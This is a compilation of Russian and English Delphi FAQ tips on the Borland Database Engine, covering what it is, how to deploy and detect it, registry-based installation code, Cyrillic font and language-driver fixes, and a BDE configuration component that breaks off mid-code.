Типичная ошибка! BDE это не поддержка alias! компоненты Дельфи такие как Table, Query, Database - почти вообще ничего не делают! - это только удобный интерфейс к BDE. Т.е. BDE реально читает и пишет в базы данных, обнавляет файлы, управляет транзакциями, сортирует данные, исполняет SQL запросы. BDE с одной стороны имеет BDE Admin для ее управления, а с другой API, которые и использует Дельфи в компонентах. Если вам надо обойтись без BDE вы должны использовать другие драйвера доступа к базам данных: ODBC, DAO, ADO, RDO - многие из них имеют свои API или COM интерфейсы которые вы можете использовать (напрямую, либо найти компоненты для этого, кроме того ADO входит в стандартную поставку дельфей, но через него приконнектится к парадоксу довольно затруднительно). Если же все эти драйвера вас не устраивают то вам надо написать свой драйвер к базе данных (можно прямо в коде программы), он должен обеспечивать:

1) Чтение и запись базы
2) Поддержка транзакций
3) Исполнение SQL запросов
4) Поддержка индексов и ключей
5) Поддержка многопользовательского доступа.
6) Стандартный набор API которые позволят подключаться компонентам типа Table, Query

Есть так же сторонние библиотеки для доступа к базам данных через свои собственные драйвера: HALCYON, или Апполо (Предложил МММ);
vkDBF- компонент для работы с ДБФ для Дельфы6/5 без БДЕ.(Предложил Free)

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Допустим написал я программку для работы с некоторой базой данных, каким образом можно перетащить её на другой комп, если на нём нету никакого database desktop чтоб настроить Alias'ы, никаких библиотек нужных? Вы хотите сказать что никуда не деться и придётся заказчикам всем ставить с диска Delphi DB Desktop ?

Вы немного не понимаете архитектуру обращения к базе данных, BDE это вовсе не система настройки Alias'ов, не DB Desktop и не Database Administrator! Программа на Дельфи как и на любом другом языке общается с базами данных через особые драйвера баз данных, собственно компоненты TTablу/TQuery ничего не делают с базой данных, они только дают возможность в удобной форме послать запрос драйверу и интерпретировать ответ от драйвера, все запросы, все физические операции с базой данных делает вовсе не код вашего exe файла, а драйвер базы данных, который в данном случае входит в состав BDE. Примерно так же как когда вы сохраняете файл на диске вы же не даёте напрямую команду BIOSу записать на диск номер такой-то дорожку такую-то сектор такой-то, вы пишете имя файла, а драйвер диска входящий в состав операционной системы сам знает в какие сектора что писать. Точно то же и с базами данных - существует драйвер, который физически работает с таблицами, а вы лишь пользуетесь компонентами, которые знают как работать с драйвером (не с базой данных!) и позволяют Вам это делать довольно удобным способом. Чтобы унифицировать работу и не иметь отдельного совершенно разного интерфейса к разным базам данных используют так называемые системы доступа к базам данных - это наборы драйверов ко всем более или менее распространённым базам данных, которые имеют более или менее стандартный интерфейс для программиста, единые программы их конфигурирования и единую идеологию построения. Одной из таких систем является BDE - Borland Database Engine - по русски, в дословном переводе - Борландовский движок для баз данных - заметьте, не конфигурация и не DB Desktop - а "движок", ядро, именно то что и обеспечивает работу с базами данных. Компоненты TTable/TQuery без BDE работать не будут - там просто нет тех API с которыми они оперируют. Физически BDE представляет из себя:
1) Файл хранящий настрйки
2) Несколько DLL обеспечивающих общую работоспособность BDE
3) Драйвера для различных баз данных (Paradox, MS SQL Server, InterBase и т.д.)
4) Служебные утилиты для конфигурации и простых операций с базами данных (DB Desktop, BDE Administrator)
5) SQL Link - система специальных драйверов для серверных баз данных с улучшенной архитектурой под приложения клиент-сервер
Наличие файлов пунктов 1 и 2 - абсолютно необходимо, из пункта 3 - Вам в простейшем случае нужен лишь тот драйвер которым Вы пользуетесь. Файлы пунктов 4 и 5 - вспомогательные, для работоспособности BDE не имеют абсолютной необходимости.
Отвечая на Ваш вопрос - да, всем заказчикам надо поставить BDE, и ничего в этом страшного нет, так как любая маломальски сложная система обычно требует установки многих третьесторонних продуктов и ничего страшного в этом нет, во-вторых BDE бесплатна и вы можете её ставить где угодно и кому угодно, в третьих - BDE практически не мешает никаким другим программам, если они её не пользуют, практически не трогает реестр и занимает не так уж много места - по современным меркам - совсем мало, и в четвёртых - любой инсталлятор, например Install Shield "знает" как устанавливать BDE, поэтому если вы создадите нормальную инсталляцию Вашей программы, как любого серьёзного продукта, то инсталляция BDE будет проходить совершенно прозрачно и никому не будет мешать.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято из http://forum.sources.ru


Как установить BDE?

program InstallPrfSt;

{
Программа иллюстрирует, как установить BDE с поддержкой PARADOX 7.0
на "чистой машине" и создать алиас.
Пример использования в качестве простейшего инсталлятора для программы
C:\MyDir\MyProg.exe
1.Создайте каталог C:\MyDir\BDE и скопируйте в него след. файлы:
CHARSET.BLL
OTHER.BLL
IDAPI32.CFG
BLW32.DLL
IDAPI32.DLL
IDBAT32.DLL
IDPDX32.DLL
IDR20009.DLL
IDSQL32.DLL
BDEADMIN.EXE - по вкусу, т.к. необходимым не является.
2.Измените значение константы AliasName на имя необходимого вам алиаса.
3.Откомпиллируйте и запустите эту программу из каталога C:\MyDir.
ВHИМАHИЕ!!! Если на машине уже установлено BDE, то перед экспериментами
сохраните (на всякий случай) след. ключи из реестра:
[HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Database Engine] и
[HKEY_LOCAL_MACHINE\SOFTWARE\Borland\BLW32].
}

{$APPTYPE CONSOLE}
uses
  Windows, BDE, Registry;

const
  AliasName: string = 'PrefStat';

var
  R: DBIResult;
  Path: string;

procedure WriteString(S1:string);
begin
  S1 := S1 + #0;
  AnsiToOem(@S1[1], @S1[1]);
  writeln(S1);
end;

function GetExePath(S1:string):string;
var
  I, K :Integer;
  S: string;
begin
  K := 1;
  S := '';
  for I := Length(S1) downto 1 do
  begin
    if S1[I] = '\' then
    begin
      K := I;
      Break;
    end;
  end;

  for I := 1 to K - 1 do
    S := S + S1[I];

  Result:=S;
end;

procedure InstallBde;
const
  Bor: string = 'SOFTWARE\Borland';
var
  a: TRegistry;
  BPath: string;
begin
  BPath:=PATH + '\BDE';
  a := TRegistry.Create;
  with a do
  begin
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey(Bor + '\Database Engine', True);
    WriteString('CONFIGFILE01', BPath+'\IDAPI32.CFG');
    WriteString('DLLPATH', BPath);
    WriteString('RESOURCE', '0009');
    WriteString('SaveConfig', 'WIN32');
    WriteString('UseCount', '2');
    CloseKey;
    OpenKey(Bor+'\BLW32',True);
    WriteString('BLAPIPATH', BPath);
    WriteString('LOCALE_LIB3', BPath+'\OTHER.BLL');
    WriteString('LOCALE_LIB4', BPath+'\CHARSET.BLL');
    CloseKey;
    OpenKey(Bor+'\Database Engine\Settings\SYSTEM\INIT',True);
    WriteString('AUTO ODBC', 'FALSE');
    WriteString('DATA REPOSITORY', '');
    WriteString('DEFAULT DRIVER', 'PARADOX');
    WriteString('LANGDRIVER', 'ancyrr');
    WriteString('LOCAL SHARE', 'FALSE');
    WriteString('LOW MEMORY USAGE LIMIT', '32');
    WriteString('MAXBUFSIZE', '2048');
    WriteString('MAXFILEHANDLES', '48');
    WriteString('MEMSIZE', '16');
    WriteString('MINBUFSIZE', '128');
    WriteString('SHAREDMEMLOCATION', '');
    WriteString('SHAREDMEMSIZE', '2048');
    WriteString('SQLQRYMODE', '');
    WriteString('SYSFLAGS', '0');
    WriteString('VERSION', '1.0');
    CloseKey;
    OpenKey(Bor+'\Database Engine\Settings\SYSTEM\FORMATS\DATE',True);
    WriteString('FOURDIGITYEAR', 'TRUE');
    WriteString('LEADINGZEROD', 'FALSE');
    WriteString('LEADINGZEROM', 'FALSE');
    WriteString('MODE', '1');
    WriteString('SEPARATOR', '.');
    WriteString('YEARBIASED', 'TRUE');
    CloseKey;
    OpenKey(Bor+'\Database Engine\Settings\SYSTEM\FORMATS\NUMBER',True);
    WriteString('DECIMALDIGITS', '2');
    WriteString('DECIMALSEPARATOR', ',');
    WriteString('LEADINGZERON', 'TRUE');
    WriteString('THOUSANDSEPARATOR', ' ');
    CloseKey;
    OpenKey(Bor+'\Database Engine\Settings\SYSTEM\FORMATS\TIME',True);
    WriteString('AMSTRING', 'AM');
    WriteString('MILSECONDS', 'FALSE');
    WriteString('PMSTRING', 'PM');
    WriteString('SECONDS', 'TRUE');
    WriteString('TWELVEHOUR', 'TRUE');
    CloseKey;
    OpenKey(Bor+'\Database Engine\Settings\REPOSITORIES',True);
    CloseKey;
    OpenKey(Bor+'\Database Engine\Settings\DRIVERS\PARADOX\INIT',True);
    WriteString('LANGDRIVER', 'ancyrr');
    WriteString('TYPE', 'FILE');
    WriteString('VERSION', '1.0');
    CloseKey;
    OpenKey(Bor+'\Database Engine\Settings\DRIVERS\PARADOX\TABLE
    CREATE',True);
    WriteString('BLOCK SIZE', '4096');
    WriteString('FILL FACTOR', '95');
    WriteString('LEVEL', '7');
    WriteString('STRICTINTEGRTY', 'TRUE');
    CloseKey;
  end;
  a.Free;
end;

begin
  Path:=GetExePath(ParamStr(0));
  R:=dbiInit(nil);
  if R<>DBIERR_NONE then
  begin
    WriteString('Инициализация BDE ...');
    InstallBDE;
  end;
  R:=dbiInit(nil);
  if R=DBIERR_NONE then
  begin
    WriteString('Инициализация BDE прошла успешно');
    DbiDeleteAlias(nil, PChar(AliasName));
    R:=DbiAddAlias(nil, PChar(AliasName), szPARADOX,
    PChar('PATH:'+Path+'\DB'), True);
    if R=DBIERR_NONE then
      WriteString('Псевдоним "'+AliasName+'" создан')
    else
      WriteString('Ошибка создания псевдонима "'+AliasName+'"');
    R:=DbiCfgSave(nil, nil, Bool(-1));
    if R=DBIERR_NONE then
      WriteString('Файл конфигурации сохранён')
    else
      WriteString('Ошибка сохранения файла конфигурации');
    DbiExit;
  end
  else
    WriteString('Ошибка инициализации BDE');
end.

Взято с http://delphiworld.narod.ru

Следуйте приведенной ниже инструкции для разворачивания BDE на клиентской машине:

1. Отформатируйте две дискеты в дисководе клиентской машины. Пометьте дискеты как "Disk 1" и "Disk 2".
2. Скопируйте файлы с DELPHI CD, содержащиеся в каталоге \REDIST\BDEINST\DISK1 на дискету, помеченную как "Disk 1", и файлы из каталога \REDIST\BDEINST\DISK2 на дискету "Disk 2".
3. Вставьте в дисковод клиентской машины дискету, помеченную как "BDE Install 1" (в нашем примере мы используем дисковод с буквой A:).
4. Убедитесь в том, что в Windows отсутствуют запущенные программы. В Windows Program Manager выберите File|Run, введите в поле редактирования командной строки ("Command Line") "A:\DISK1\SETUP" и нажмите "OK" для начала установки Borland Database Engine на клиентской машине.
5. Сначала, на короткое время, появится окно "Database Engine Install", затем диалог "preparing to install...", и, наконец, диалог "BDE Redisttributable", содержащий кнопки Continue (Продолжить) и Exit (Выйти). Нажмите "Continue".
6. Появится диалог "Borland Database Engine Location Settings", позволяющий изменить каталог установки программ BDE и конфигурационных файлов. Оставьте настройки по умолчанию и нажмите "Continue" (Продолжить).
7. Появится диалог "Borland Database Engine Installation", позволяющий вернуться к предыдущим диалогам или начать установку. Нажмите "Install" (Установить).
8. Процесс копирования дискеты "Disk 1" будет отображаться полоской прогресса.
9. Появится диалог "BDE Redistributable Install Request". Вставьте дискету "Disk 2". Нажмите "continue" (Продолжить).
10. По окончании процедуры установки появится диалог "Borland Database Engine Installation Notification", сообщающий об успешной установке BDE. Нажмите "Exit" (Выход).
11. Завершите работу Windows, удалите дискету из дисковода и перегрузите клиентскую машину.
12. Если настройки по умолчанию уже где-то используются, произойдут изменения, указанные ниже.
На клиентской машине появятся два новых каталога - \IDAPI и \IDAPI\LANGDRV. Обратите внимание на то, что утилита BDE Configuration Utility, BDECFG.EXE, располагается в каталоге \IDAPI. Языковые драйвера располагаются в каталоге \IDAPI\LANGDRV как файлы *.LD. AUTOEXEC.BAT, CONFIG.SYS и SYSTEM.INI при инсталляции не изменяются.

WIN.INI в каталоге \WINDOWS\SYSTEM будет иметь новые секции:

[IDAPI]
DLLPATH=C:\IDAPI
CONFIGFILE01=C:\IDAPI\IDAPI.CFG

[Borland Language Drivers]
LDPath=C:\IDAPI\LANGDRV
Взято из Советов по Delphi отВалентина Озерова
Сборник Kuliba

Как установить BDE из файла BDEINST.CAB?

If you have taken a close look at the listing of the BDE installation directory (usually \Program Files\Borland\Common FIles\BDE), you've noticed there's a file called BDEINST.CAB. If BDEINST.CAB isn't present in the BDE folder, you probably chose not to let it be installed. As this tip requires this file, you might want to run install again and install only BDEINST.CAB. Anyway, let's get back to the tip.

What is BDEINST.CAB?

BDEINST.CAB is a cabinet (Microsoft's compression format) file that contains only one large file: BDEINST.DLL. This DLL contains a simple installation program along with all the necessary files for a basic install of BDE. It will correctly install BDE with the native drivers for Paradox, dBase, MS Access and FoxPro. It won't install drivers for SQL database servers. If all you need is a basic installation of BDE for supporting one of the forementioned databases, then BDEINST.CAB is the best choice for you.

Given the problem InstallShield and Wise have with installing BDE 5, BDEINST.DLL has a great appeal, since it was created by the Borland folks and doesn't suffer from the same problems InstallShield and WISE do.

There is, however, a drawback: BDEINST.DLL is a quite large file, so it's that good if you're deploying on floppy disks. There's a workaround for this problem and we'll get back to it later on.

Using BDEINST.DLL

In order to use BDEINST.DLL, all you have to do is to extract it from BDEINST.CAB. There are several ways this can be done. Two of them are:

· Using WinZip or another CAB-compatible archiver. Simply extract BDEINST.DLL from the CAB file.
· Using Microsoft's EXTRACT utility that comes with Windows 9x and NT. From a DOS window, issue the command below (path is also shown):
·
· C:\Program Files\Borland\Common Files\BDE>EXTRACT /E BDEINST.CAB
·
· This will extract BDEINST.DLL to the current directory, since no destination dir was specified in the command line.

The task now is to use the DLL. This is as simple as issuing the command line below:

C:\WINDOWS\SYSTEM\REGSVR32.EXE /S CABINST.DLL

If the command above fails, make sure you have REGSVR32.EXE on your machine. Not all machines have it, and, in case of deploying BDEINST.DLL, it's also a good idea to deploy REGSVR32.EXE. This file can be found in \WINDOWS\SYSTEM or \WINNT\SYSTEM32.

A progress dialog box will popup indicating that the installation of BDE is going ok. This is all it takes to install BDE without needing any additional tool such as InstallShield or Wise.

If you do not want to deploy REGSVR32.EXE, you can create a small VCL-less and formless application that simply calls DllRegisterServer from the DLL.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/

Problem/Question/Abstract:

What are the essential files to ship with an application that uses the BDE?

Answer:

Delphi allows you to generate a nice tight executable file (.EXE), but if you have created a database application you must include the files that make up the Borland Database Engine as well. The table below shows the files that are mandatory when delivering a database application with Delphi.
File Name Description
IDAPI01.DLL - BDE API DLL
IDBAT01.DLL - BDE Batch Utilities DLL
IDQRY01.DLL - BDE Query DLL
IDASCI01.DLL - BDE ASCII Driver DLL
IDPDX01.DLL - BDE Paradox Driver DLL
IDDBAS01.DLL - BDE dBASE Driver DLL
IDR10009.DLL - BDE Resources DLL
ILD01.DLL - Language Driver DLL
IDODBC01.DLL - BDE ODBC Socket DLL
ODBC.New - Microsoft ODBC Driver Manager DLL V2.0
ODBCINST.NEW - Microsoft ODBC Driver Installation DLL V2.0
TUTILITY.DLL - BDE Table Repair Utility DLL
BDECFG.EXE - BDE Configuration Utility DLL
BDECFG.HLP - BDE Configuration Utility Help
IDAPI.CFG - BDE Configuation File (settings)

To assist the user, Delphi ships with an install program for exporting the appropriate files that you want deliver to your clients. Also, installation programs such as InnoSetup and InstallShield can automatically include the relevant files in their setup programs.

InnoSetup is my program installation program of choice, and it is FREE! For more information or to download a copy visit Jordan Russhttp:// www.jrsoftware.orgell's site at

Finally a tip on using the setup CAB file that ships with the BDE to install the relevant files can be found in DKB, article title "Installing BDE from BDEINST.CAB"
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Проверка наличия BDE

unit Findbde;

interface

implementation
uses

  Controls,
  SysUtils,
  WinTypes,
  WinProcs,
  Dialogs;

var

  IdapiPath: array[0..255] of Char;
  IdapiHandle: THandle;

initialization

  GetProfileString('IDAPI', 'DLLPath', 'C:\', IdapiPath, 255);
{следующие строки "изолируют" первый путь к каталогу из IdapiPath в случае, если их несколько}
  if Pos(';', StrPas(IdapiPath)) <> 0 then
    begin
      StrPCopy(IdapiPath, Copy(StrPas(IdapiPath), 1,
        Pred(Pos(';', StrPas(IdapiPath)))));
    end;
  IdapiHandle := LoadLibrary(StrCat(IdapiPath, '\IDAPI01.DLL'));
  if IdapiHandle < HINSTANCE_ERROR then
    begin
      if MessageDlg('ОШИБКА: Borland Database Engine (IDAPI) не найдена' +
        'перед следующей попыткой ее необходимо установить....',
        mtError, [mbOK], 0) = mrOK then
        Halt
    end
{ IDAPI в системе не установлена }
  else
    begin
      FreeLibrary(IdapiHandle);
{ IDAPI Установлена в системе }
    end;

end.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba

Способ 1:

Следующая функция получает структуру SysVersion и записывает результаты в stringlist.

uses dbierrs, DBTables;
...

function fDbiGetSysVersion(SysVerList: TStringList): SYSVersion;
var
  Month, Day, iHour, iMin, iSec: Word;
  Year: SmallInt;
begin
  Check(DbiGetSysVersion(Result));
  if (SysVerList <> nil) then
  begin
    with SysVerList do
    begin
      Clear;
      Add(Format('ENGINE VERSION=%d', [Result.iVersion]));
      Add(Format('INTERFACE LEVEL=%d', [Result.iIntfLevel]));
      Check(DbiDateDecode(Result.dateVer, Month, Day, Year));
      Add(Format('VERSION DATE=%s', [DateToStr(EncodeDate
                (Year, Month, Day))]));
      Check(DbiTimeDecode(Result.timeVer, iHour, iMin, iSec));
      Add(Format('VERSION TIME=%s', [TimeToStr(EncodeTime
                (iHour, iMin, iSec div 1000, iSec div 100))]));
    end;
  end;
end;

Вызов этой функции выглядит следующим образом:

var hStrList: TStringList;
    Ver: SYSVersion;
begin
  hStrList:= TStringList.Create;
  try Ver := fDbiGetSysVersion(hStrList); except
    ShowMessage('BDE not installed !');
  end;
  ShowMessage(IntToStr(Ver.iVersion));
  Memo1.Lines.Assign(hStrList);
  hStrList.Destroy;
end;

Возможные результаты (отображаемые в memo-поле):

ENGINE VERSION=500
INTERFACE LEVEL=500
VERSION DATE=09.06.98
VERSION TIME=17:06:13

Способ 2:

Читаем ключ в реестре:
RootKey := HKEY_LOCAL_MACHINE;
OpenKey(`SOFTWARE\Borland\Database Engine`, False);
try
   s := ReadString(`CONFIGFILE01`);

   //BDE установлена
finally
   CloseKey;
end;

Способ 3:

Можно попробовать установить BDE

  IsBDEExist := (dbiInit(nil) = 0)

PS: Последний способ более предпочтителен, так как анинсталлер мог удалить BDE-файлы, но оставить в реестре ключ :)

Взято из http://forum.sources.ru


Как узнать версию BDE?

uses
  BDE;

{Without the Registry:}

procedure TForm1.Button1Click(Sender: TObject);
var
  ThisVersion: SYSVersion;
begin
  DbiGetSysVersion(ThisVersion);
  ShowMessage('BORLAND DATABASE ENGINE VERSION = ' + IntToStr(ThisVersion.iVersion));
end;

{With the Registry:}

function GetBDEVersion: string;
var
  h: hwnd;
  ptr: Pointer;
  proc: TSYSVerProc;
  ver: SYSVersion;
  idapi: string;
  reg: TRegistry;
begin
  try
    reg.RootKey := HKEY_CLASSES_ROOT;
    reg.OpenKey('CLSID\{FB99D710-18B9-11D0-A4CF-00A024C91936}\InProcServer32', False);
    idapi := reg.ReadString('');
    reg.CloseKey;
  finally
    reg.Free;
  end;
  Result := '<BDE Bulunamadi>';
  h      := LoadLibrary(PChar(idapi));
  if h <> 0 then
    try
      ptr := GetProcAddress(h, 'DbiGetSysVersion');
      if ptr <> nil then
      begin
        proc := ptr;
        Proc(Ver);
        Result := IntToStr(ver.iVersion);
        Insert('.', Result, 2);
      end;
    finally
      FreeLibrary(h);
    end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как инициализировать BDE, если она установлена в нестандартном месте?

I need to use a BDE that is placed in another directory than default. How can I do it? DbiInit(pDbiEnv) doesn't work when pDbiEnv < > nil (not default).

Answer:

pDbiEnv := nil;
check(DbiInit(pDbiEnv));

or if you don't need the pointer simply

check(DbiInit(nil));
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Настройка BDE, Database Desktop

Cодержание раздела:

Не читаются русские буквы в Database Desktop Updated!
Ошибка совместного доступа к базе данных
Не получается вставить в таблицу записи со строками на русском языке
Модификация настроек BDE

См. также статьи в других разделах:
Изменение месторасположения *.NET-файла
Подключение к Personal Oracle с помощью BDE


Не читаются русские буквы в Database Desktop

Для DBD 7.0 нужно исправить реестр: ключ

HKCU\Software\Borland\DBD\7.0\Preferences\Properties\
SystemFont="Fixedsys"
Если такой ключ не существует, его следует создать.

или
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage]
"1252"="c_1251.nls"

Автор: Pegas

Взято с Vingrad.ru http://forum.vingrad.ru

Подскажите пожалуйста, у меня вот какая проблема:
Загружаю Database Desktop, открываю таблицу имеющую в полях русский текст,
а отображается не русский текст а не понятно что.
О: MANka
Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию
[Properties]
SystemFont=Arial Cyr

Для DBD 7.0 нужно исправить реестр: ключ

HKCU\Software\Borland\DBD\7.0\Preferences\Properties\
SystemFont="Fixedsys"
Если такой ключ не существует, его следует создать. Впрочем, для просмотра таблиц
все равно можно порекомендовать rx Database Explorer -- у него это получается очень хорошо.
О: Sergey V. Baldin
Это - проблема русских .dbf и Desktop'а . Надо установить шрифт
по умолчанию не Arial Cyr , а Fixedsys или System. копать примерно так:
1.находишь производителя Desktop :
Например, если это Borland Desktop 7.0, то находишь строку в реестре
HKEY_CURRENT_USER\SOFTWARE\BORLAND\DBD\7.0\Preferences\Properties\SystemFont и
меняешь Arial Cyr на стандартные для Windows: Fixedsys или System
(писать название шрифта с большой буквы).
2. И в стандартном драйвере BDE ,например DBASE, ставишь русский драйвер dBASE RUS cp866.
Открываешь BDE configurator(administrator), ярлык на 32-BDE находится в панели управления.
И в строке Drivers->Native->DBASE->Langdriver->ставишь dBASE RUS cp866.
После этого все заиграет

Взято с сайта http://blackman.wp-club.net/

Для DBD 5.0 в файл c:\windows\pdoxwin.ini
вставить в секцию

[Properties]
SystemFont=Arial Cyr
Для DBD 7.0 нужно исправить реестр: ключ

HKCU\Software\Borland\DBD\7.0\Preferences\Properties\
SystemFont="Fixedsys"
Если такой ключ не существует, его следует создать. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer -- у него это получается очень хорошо.

Copyright (C) Alexey Mahotkin 1997-1999


Ошибка совместного доступа к базе данных

Подскажите как на дельфи создаются базы данных с которыми можно работать на нескольких компьютерах одновременно (таблицы Paradox). Как буфиризировать таблицы Paradox? Использую компонент DataBase со стандарным драйвером, указываю сетевой путь к БД, но при обращении сразу нескольких пользователей возникает сообщение что каталог заблокирован другим .NET файлом.

Решение:
Control Panel->BDE Administrator->закладка Configuration->Drivers->Native->Paradox

Сделайте где нибудь в сетке каталог доступный со всех компьютеров, Опция Net Dir должна указывать на всех компьютерах должна указывать на этот каталог - в нём будут хранится файлы которые обеспечивают раздельный доступ.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Не получается вставить в таблицу записи со строками на русском языке

В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr.

Это простой вопрос в том случае, если база уже создана на диске. Если мы создаем базу динамически из программы, то как потом поставить русский язык без Database Desktop'а?

Оказывается это не так просто. Я перерыл весь инет и так и не нашел. В итоге пришлось потрудится и получилась следующая функция:

{ Устанавливает русский LANGDRIVER для таблицы BDE (Paradox или dBASE)}
{ Таблица должна уже существовать на диске
Если вы создаете таблицу динамически,
не забудьте вызвать Table.CreateTable }

 procedure SetTableRussianLanguage(Table: TTable);
 var
   Props: CURProps;
   hDb: hDBIDb;
   TableDesc: CRTblDesc;
   OptDesc: FLDDesc;
   OptData: array [0..250] of Char;
   S: string;
 const   // Define propertly table type & codepage from list below
   LDName = 'ancyrr';   // Paradox ANSI Cyrillic
   // LDName = 'cyrr';  // Paradox Cyrr 866
   // LDName = 'DB866ru0'; // dBASE RUS cp866

 begin
 // Get handle (if table still not opened)
   Table.Open;
   // Get the table properties to determine table type...
   Check(DbiGetCursorProps(Table.Handle, Props));

   // Blank out the structure...
   FillChar(TableDesc, sizeof(TableDesc), 0);
   FillChar(OptDesc, SizeOf(OptDesc), #0);
   // Get the database handle from the table's cursor handle...

   Check( DbiGetObjFromObj(hDBIObj(Table.Handle), objDATABASE,
          hDBIObj(hDb)));

   { If table name contain cyrillic or other native character,
      convert name to OEM }

   SetLength(S, Length(Table.TableName));
   CharToOEM(PChar(Table.TableName), @S[1]);

   // Put the table name in the table descriptor...
   StrPCopy(TableDesc.szTblName, S{Table.TableName});
   // Put the table type in the table descriptor...
   StrPCopy(TableDesc.szTblType, Props.szTableType);
   // Set the Pack option in the table descriptor to TRUE...

   StrCopy(OptDesc.szName, 'LANGDRIVER');
   OptDesc.iLen:=Length(LDName)+1;
   TableDesc.iOptParams:=1;
   TableDesc.pfldOptParams:=@OptDesc;
   TableDesc.pOptData:=@OptData;
   StrPCopy(OptData, LDName);

   // Close the table so the restructure can complete...
   Table.Close;
   // Call DbiDoRestructure...
   Check(DbiDoRestructure(hDb, 1, @TableDesc, nil, nil, nil, False));
 end;

Взято с http://delphiworld.narod.ru


Модификация настроек BDE

Is there a way to change the IDAPI.CFG file from Delphi coding using the BDE API, since I wish to avoid having my users utilize the BDECFG.EXE utility?

Answer:

Here is a unit that is supposed to allow changing the config file:

unit CFGTOOL;

interface

uses
  SysUtils, Classes, DB, DbiProcs, DbiTypes, DbiErrs;

type
  TBDEConfig = class(TComponent)
  private
    FLocalShare: Boolean;
    FMinBufSize: Integer;
    FMaxBufSize: Integer;
    FSystemLangDriver: string;
    FParadoxLangDriver: string;
    FMaxFileHandles: Integer;
    FNetFileDir: string;
    FTableLevel: string;
    FBlockSize: Integer;
    FDefaultDriver: string;
    FStrictIntegrity: Boolean;
    FAutoODBC: Boolean;

    procedure Init;
    procedure SetLocalShare(Value: Boolean);
    procedure SetMinBufSize(Value: Integer);
    procedure SetMaxBufSize(Value: Integer);
    procedure SetSystemLangDriver(Value: string);
    procedure SetParadoxLangDriver(Value: string);
    procedure SetMaxFileHandles(Value: Integer);
    procedure SetNetFileDir(Value: string);
    procedure SetTableLevel(Value: string);
    procedure SetBlockSize(Value: Integer);
    procedure SetDefaultDriver(Value: string);
    procedure SetAutoODBC(Value: Boolean);
    procedure SetStrictIntegrity(Value: Boolean);
    procedure UpdateCFGFile(path, item, value: string);

  protected

  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
  published
    property LocalShare: Boolean read FLocalShare write SetLocalShare;
    property MinBufSize: Integer read FMinBufSize write SetMinBufSize;
    property MaxBufSize: Integer read FMaxBufSize write SetMaxBufSize;
    property SystemLangDriver: string read FSystemLangDriver write
      SetSystemLangDriver;
    property ParadoxLangDriver: string read FParadoxLangDriver write
      SetParadoxLangDriver;
    property MaxFileHandles: Integer read FMaxFileHandles write SetMaxFileHandles;
    property NetFileDir: string read FNetFileDir write SetNetFileDir;
    property TableLevel: string read FTableLevel write SetTableLevel;
    property BlockSize: Integer read FBlockSize write SetBlockSize;
    property DefaultDriver: string read FDefaultDriver write SetDefaultDriver;
    property AutoODBC: Boolean read FAutoODBC write SetAutoODBC;
    property StrictIntegrity: Boolean read FStrictIntegrity write SetStrictIntegrity;

  end;

procedure Register;

implementation

function StrToBoolean(Value: string): Boolean;
begin
  if (UpperCase(Value) = 'TRUE') or (UpperCase(Value) = 'ON') or
    (UpperCase(Value) = 'YES') or (UpperCase(Value) = '.T.') then
    Result := True
  else
    Result := False;
end;

function BooleanToStr(Value: Boolean): string;
begin
  if Value then
    Result := 'TRUE'
  else
    Result := 'FALSE';
end;

procedure Register;
begin
  RegisterComponents('Data Access', [TBDEConfig]);
end;

procedure TBDEConfig.Init;
var
  h: hDBICur;
  pCfgDes: pCFGDesc;
  n, v: string;
begin
  Check(DbiOpenCfgInfoList(nil, dbiREADWRITE, cfgPersistent, '\SYSTEM\INIT', h));
  GetMem(pCfgDes, sizeof(CFGDesc));
  try
    FillChar(pCfgDes^, sizeof(CFGDesc), #0);
    while (DbiGetNextRecord(h, dbiWRITELOCK, pCfgDes, nil) = DBIERR_NONE) do
    begin
      n := StrPas(pCfgDes^.szNodeName);
      v := StrPas(pCfgDes^.szValue);
      if n = 'LOCAL SHARE' then
        FLocalShare := StrToBoolean(v)
      else if n = 'MINBUFSIZE' then
        FMinBufSize := StrToInt(v)
      else if n = 'MAXBUFSIZE' then
        FMaxBufSize := StrToInt(v)
      else if n = 'MAXFILEHANDLES' then
        FMaxFileHandles := StrToInt(v)
      else if n = 'LANGDRIVER' then
        FSystemLangDriver := v
      else if n = 'AUTO ODBC' then
        FAutoODBC := StrToBoolean(v)
      else if n = 'DEFAULT DRIVER' then
        FDefaultDriver := v;
    end;
    if (h <> nil) then
      DbiCloseCursor(h);
    Check(DbiOpenCfgInfoList(nil, dbiREADWRITE, cfgPersistent,
      '\DRIVERS\PARADOX\INIT', h));
    FillChar(pCfgDes^, sizeof(CFGDesc), #0);
    while (DbiGetNextRecord(h, dbiWRITELOCK, pCfgDes, nil) = DBIERR_NONE) do
    begin
      n := StrPas(pCfgDes^.szNodeName);
      v := StrPas(pCfgDes^.szValue);
      if n = 'NET DIR' then
        FNetFileDir := v
      else if n = 'LANGDRIVER' then
        FParadoxLangDriver := v;
    end;
    if (h <> nil) then
      DbiCloseCursor(h);
    Check(DbiOpenCfgInfoList(nil, dbiREADWRITE, cfgPersistent,
      '\DRIVERS\PARADOX\TABLE CREATE', h));
    FillChar(pCfgDes^, sizeof(CFGDesc), #0);
    while (DbiGetNextRecord(h, dbiWRITELOCK, pCfgDes, nil) = DBIERR_NONE) do
    begin
      n := StrPas(pCfgDes^.szNodeName);
      v := StrPas(pCfgDes^.szValue);
      if n = 'LEVEL' then
        FTableLevel := v
      else if n = 'BLOCK SIZE' then
        FBlockSize := StrToInt(v)
      else if n = 'STRICTINTEGRITY' then
        FStrictIntegrity := StrToBoolean(v);
    end;
  finally
